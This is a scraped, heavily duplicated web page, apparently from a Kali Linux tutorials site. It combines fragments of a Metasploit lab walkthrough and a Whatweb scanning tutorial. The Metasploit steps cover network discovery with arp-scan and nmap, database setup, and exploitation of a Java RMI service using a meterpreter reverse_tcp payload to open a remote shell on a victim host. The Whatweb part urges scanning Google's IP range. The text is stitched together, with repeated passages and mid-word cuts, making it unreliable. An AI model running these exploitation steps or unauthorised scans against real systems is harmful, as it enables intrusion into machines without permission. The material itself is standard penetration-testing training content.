db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces Metasploit Framework Lab : Initial SetupsNow we are going to create a new database, user & a workspace for our new project.
Note: If you have knowledge of msfconsole & have worked with it before, proceed to Step 6. Step 1: Do a host discovery & perform an Enumeration.First of all we have to identify the devices present on the network & identify our tharget. The process is to do an arp scan/nbtscan/netdiscover to discover hosts & then find open services. Obviously the system with a lot of unusual ports open is the most vulnerable.
Host Discovery: The following sends out a bunch of arp requests & shows us the responce from hosts present on the network.
Command: arp-scan 192.168.0.1/24<enter
Simple Service identification: The following just identifies all ports & services open on all hosts present on the network.
Command: nmap -sS 192.168.0.1/24 -v
Narrow our Focus: From the above result choose your target. For now I have chosen 192.168.0.104 which has got a lot of open ports. The following Nmap command performs an automatic enumeration script scanning on the specified target. We can identify the exact versions & enumerate services running on the host using the following
Command: nmap -sS -A 192.168.0.104 -vv http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-1-1024x768.png <figcaptionNmap Scanning Step 2: Meanwhile, Setup msfconsole.The script scanning can take a lot of time depending upon the options we specify. The above command might take 5-10 minutes in average. Meanwhile we can setup msfconsole for our project. Now this step is not necessarily essential, but it helps to stay organized. Open up a new terminal & do the following.
Start Service: Skip if you have it enabled at boot.
Command: service postgresql start
Switch to postgress & create a new database & user
Command:su postgress command: createuser ms[...]
quit Exit the console
reload_all Reloads all modules from all defined module paths
rename_job Rename a job
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
sessions Dump session listings and display information about sessions
set Sets a context-specific variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
spool Write console output into a file as well the screen
threads View and manipulate background threads
unload Unload a framework plugin
unset Unsets one or more context-specific variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers Metasploit Framework Database Backend Commands =========================
Command Description
------- -----------
creds List all credentials in the database
db_connect Connect to an existing database
db_disconnect Disconnect from the current database instance
db_export Export a file containing the contents of the database
db_import Import a scan result file (filetype will be auto-detected)
db_nmap Executes nmap and records the output automatically
db_rebuild_cache Rebuilds the database-stored module cache
db_status Show the current database status
hosts List all hosts in the database
loot List all loot in the database
notes List all notes in the database
services List all services in the database
vulns List all vulnerabilities in the database
workspace Switch between database workspaces Metasploit Framework Lab : Initial SetupsNow we are going to create a new database, user & a workspace for our new project.
Note: If you have knowledge of msfconsole & have worked with it before, proceed to Step 6. Step 1: Do a host discovery & perform an Enumeration.First of all we have to identify the devices present on the network & identify our tharget. The process is to do an arp scan/nbtscan/netdiscover to discover hosts & then find open services. Obviously the system with a lot of unusual ports open is the most vulnerable.
Host Discovery: The following sends out a bunch of arp requests & shows us the responce from hosts present on the network.
Command: arp-scan 192.168.0.1/24<enter
Simple Service identification: The following just identifies all ports & services open on all hosts present on the network.
Command: nmap -sS 192.168.0.1/24 -v
Narrow our Focus: From the above result choose your target. For now I have chosen 192.168.0.104 which has got a lot of open ports. The following Nmap command performs an automatic enumeration script scanning on the specified target. We can identify the exact versions & enumerate services running on the host using the following
Command: nmap -sS -A 192.168.0.104 -vv http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-1-1024x768.png <figcaptionNmap Scanning Step 2: Meanwhile, Setup msfconsole.The script scanning can take a lot of time depending upon the options we specify. The above command might take 5-10 minutes in average. Meanwhile we can setup msfconsole for our project. Now this step is not necessarily essential, but it helps to stay organized. Open up a new terminal & do the following.
Start Service: Skip if you have it enabled at boot.
Command: service postgresql start
Switch to postgress & create a new database & user
Command:su postgress command: createuser ms[...]
Hacking Articles Tips Tricks Videos Tutorials
Kali Linux Tutorials Whatweb – A Scanning Tool to Find Security Vulnerabilities in Web App Whatweb is the perfect name for this tool. Simply it answers the question, “What is that Website?” Whatweb can identify all sorts of information about a live website…
se this information for Vulnerability Analysis is that sometimes you may get that the webserver is an outdated version of Apache or IIS. Or sometimes, the website is running an old WordPress version vulnerable to many issues. Like that, you can find out the vulns & exploits for different versions of technologies used in the website. Whatweb Lab 2: Perform Enumeration of a range of websiteswhatweb allows you to test for a range of IP addresses. In this lab, we test a range of IPs on a local network. This can be useful while doing Pentests inside a production network or sometimes like finding out a list of Web-UIs or cpanels on a range of IPs.
Scenario:
Internal Network : 192.168.0.0/24
Attacker: Kali Linux
command: whatweb -v 192.168.0.1/24
Interestingly, the verbose output gives out coloured strings of interesting information. Take look at all those colours in the images below & identify all modules. http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb4.png http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb5.png http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb6.png http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb7.png Try for yourself: Remember whatweb can scan for ranges outside the LAN, on the WAN also. Find out google’s IP address, and perform a scan on it’s range.
Read more here to explore the whatweb tool.
Scenario:
Internal Network : 192.168.0.0/24
Attacker: Kali Linux
command: whatweb -v 192.168.0.1/24
Interestingly, the verbose output gives out coloured strings of interesting information. Take look at all those colours in the images below & identify all modules. http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb4.png http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb5.png http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb6.png http://kalilinuxtutorials.com/wp-content/uploads/2015/07/whatweb7.png Try for yourself: Remember whatweb can scan for ranges outside the LAN, on the WAN also. Find out google’s IP address, and perform a scan on it’s range.
Read more here to explore the whatweb tool.
Hacking Articles Tips Tricks Videos Tutorials
pushm Pushes the active or list of modules onto the module stack quit Exit the console reload_all Reloads all modules from all defined module paths rename_job Rename a job resource Run the commands stored in…
fuser1 -P <replace
Give password 2 times. Here I have given ” admin”as password. Remember to make it complex if you are serious.
Set the user as superuser & Create a database
Command: createdb msfproj1 --owner=msfuser1 <replaceCommand: exit
Start the msfconsole
Command: msfconsole http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-8.png <figcaptionBasic Configurations – Starting services & adding pgsql database & user Step 3: Connect to new user & DB in msfconsole & Create new WorkspaceDisconnect the default DB & user and connect our newly created user & DB
msf> db_disconnect
msf> db_connect msfuser1:admin@localhost/msfproj1
The syntax for above is
db_connect user:pass@host/dbname
If you have an error, see help by db_connect -h. After this you can see the database being populated & caches being rebuild. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-9.png <figcaptionConfiguring Database in msfconsole
To see the current workspace,
msf> workspace
Add a new workspace & switch to it.
msf> workspace -a newproject <replacemsf> workspace "newproject" http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-10.png <figcaptionAdding Workspace & Swtching to it
Now just check everything.
msf> db_status
msf> workspace
Remember to seek help if you got error by giving the command followed by “-h”. If everything is OK, lets proceed. Step 4: Populate the hosts & services to metasploit db.This is one of the cool features of msfconsole. You can add hosts,services & vulnerabilities to the database. We can run nmap from within msfconsole. All the results are stored in the database also. Lets see it in action.
Issue an nmap scan agian within msfconsole. Here only difference is we use db_nmap instead of the regular command.
msf> db_nmap -sS 192.168.0.1/24 -vv http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-11.png <figcaptionPopulating Database with db_nmap
This populates hosts & services. We will see vulns in later tutorials. After the execution finishes, see the results. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-12.png <figcaptionResults of nmap
Now, see the hosts & services currently present in the database.
msf> hosts
msf> services
Thats enough, lets’ get to the real attack. Step 5: Identify a vulnerable service.Now, this step is not as it should be. I haven’t described vulnerability analysis because it would make the post too long. We will discuss this step in detail on later tutorials. For now we exploit a service “java_rmi_server”. Java RMI is Java Remote Method Invocation which allows to connect between different java objects on different hosts. Our target has a vulnerable version of it. So lets just exploit it.
More About Java RMI.
To identify java_rmi_server, look at the nmap report we did first. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-2-1024x768.png <figcaptionThe Java RMI service running on the victim. Step 6 : Search & Use Module in msfconsole.msf> search java_rmi
msf> info exploit/multi/misc/java_rmi_server
msf> use exploit/multi/misc/java_rmi_server http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-3.png <figcaptionSearching for matching module http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-4.png <figcaptionusing the module
Now you can see the prompt has changed. We can see the options by
>show options
Set the RHOST which is our target which is running the vulnerable service.
set RHOST 192.168.0.104
Remember to set all options which have a “Required YES” value. See the table of options. Also check if the RPORT is also correct. Check the nmap result & the currently set Port and see if it matches.
Next We have to set all the required options & a payload. First we have to search for compatible payloads. All payloads may not be compatible with current module.
>show payloads
Then for setting it, copy the path & issue:
>set PAYLOAD java/meterpreter/reverse_[...]
Give password 2 times. Here I have given ” admin”as password. Remember to make it complex if you are serious.
Set the user as superuser & Create a database
Command: createdb msfproj1 --owner=msfuser1 <replaceCommand: exit
Start the msfconsole
Command: msfconsole http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-8.png <figcaptionBasic Configurations – Starting services & adding pgsql database & user Step 3: Connect to new user & DB in msfconsole & Create new WorkspaceDisconnect the default DB & user and connect our newly created user & DB
msf> db_disconnect
msf> db_connect msfuser1:admin@localhost/msfproj1
The syntax for above is
db_connect user:pass@host/dbname
If you have an error, see help by db_connect -h. After this you can see the database being populated & caches being rebuild. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-9.png <figcaptionConfiguring Database in msfconsole
To see the current workspace,
msf> workspace
Add a new workspace & switch to it.
msf> workspace -a newproject <replacemsf> workspace "newproject" http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-10.png <figcaptionAdding Workspace & Swtching to it
Now just check everything.
msf> db_status
msf> workspace
Remember to seek help if you got error by giving the command followed by “-h”. If everything is OK, lets proceed. Step 4: Populate the hosts & services to metasploit db.This is one of the cool features of msfconsole. You can add hosts,services & vulnerabilities to the database. We can run nmap from within msfconsole. All the results are stored in the database also. Lets see it in action.
Issue an nmap scan agian within msfconsole. Here only difference is we use db_nmap instead of the regular command.
msf> db_nmap -sS 192.168.0.1/24 -vv http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-11.png <figcaptionPopulating Database with db_nmap
This populates hosts & services. We will see vulns in later tutorials. After the execution finishes, see the results. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-12.png <figcaptionResults of nmap
Now, see the hosts & services currently present in the database.
msf> hosts
msf> services
Thats enough, lets’ get to the real attack. Step 5: Identify a vulnerable service.Now, this step is not as it should be. I haven’t described vulnerability analysis because it would make the post too long. We will discuss this step in detail on later tutorials. For now we exploit a service “java_rmi_server”. Java RMI is Java Remote Method Invocation which allows to connect between different java objects on different hosts. Our target has a vulnerable version of it. So lets just exploit it.
More About Java RMI.
To identify java_rmi_server, look at the nmap report we did first. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-2-1024x768.png <figcaptionThe Java RMI service running on the victim. Step 6 : Search & Use Module in msfconsole.msf> search java_rmi
msf> info exploit/multi/misc/java_rmi_server
msf> use exploit/multi/misc/java_rmi_server http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-3.png <figcaptionSearching for matching module http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-4.png <figcaptionusing the module
Now you can see the prompt has changed. We can see the options by
>show options
Set the RHOST which is our target which is running the vulnerable service.
set RHOST 192.168.0.104
Remember to set all options which have a “Required YES” value. See the table of options. Also check if the RPORT is also correct. Check the nmap result & the currently set Port and see if it matches.
Next We have to set all the required options & a payload. First we have to search for compatible payloads. All payloads may not be compatible with current module.
>show payloads
Then for setting it, copy the path & issue:
>set PAYLOAD java/meterpreter/reverse_[...]
Hacking Articles Tips Tricks Videos Tutorials
fuser1 -P <replace Give password 2 times. Here I have given ” admin”as password. Remember to make it complex if you are serious. Set the user as superuser & Create a database Command: createdb msfproj1 --owner=msfuser1 <replaceCommand: exit Start the msfconsole…
tcp
Meterpreter is a state of the art payload. We can have lot of fun with this powerful payload. We will discuss that later.
Now set the LHOST, which is the machine to which the payload has to return connection. Remember to give the full ip address instead of localhost or 127.0.0.1 etc
set LHOST 192.168.0.103
If you want, you can change the listening Port
set LPORT 4445
All set, now
>exploit http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-5.png <figcaptionSetting options & Exploiting
Now that we are in the meterpreter, we have successfully exploited a service and gained access to our victim. There are a whole lot of options you can do with meterpreter. For now lets’ try simple commands.
meterpreter> ifconfig
meterpreter>getuid http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-15.png <figcaptionInside Meterpreter
You can play around with meterpreter, try the help section by issuing “help”. Try for yourself. Step 7: Brief it UP.As this post got a bit lengthy, I have included a screenshot of the procedure very briefly. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-14.png <figcaptionBrief Procedure
We will see more on advanced vulnerability analysis & finding more exploits in real machines in later tutorials.
Meterpreter is a state of the art payload. We can have lot of fun with this powerful payload. We will discuss that later.
Now set the LHOST, which is the machine to which the payload has to return connection. Remember to give the full ip address instead of localhost or 127.0.0.1 etc
set LHOST 192.168.0.103
If you want, you can change the listening Port
set LPORT 4445
All set, now
>exploit http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-5.png <figcaptionSetting options & Exploiting
Now that we are in the meterpreter, we have successfully exploited a service and gained access to our victim. There are a whole lot of options you can do with meterpreter. For now lets’ try simple commands.
meterpreter> ifconfig
meterpreter>getuid http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-15.png <figcaptionInside Meterpreter
You can play around with meterpreter, try the help section by issuing “help”. Try for yourself. Step 7: Brief it UP.As this post got a bit lengthy, I have included a screenshot of the procedure very briefly. http://kalilinuxtutorials.com/wp-content/uploads/2015/06/msf2-14.png <figcaptionBrief Procedure
We will see more on advanced vulnerability analysis & finding more exploits in real machines in later tutorials.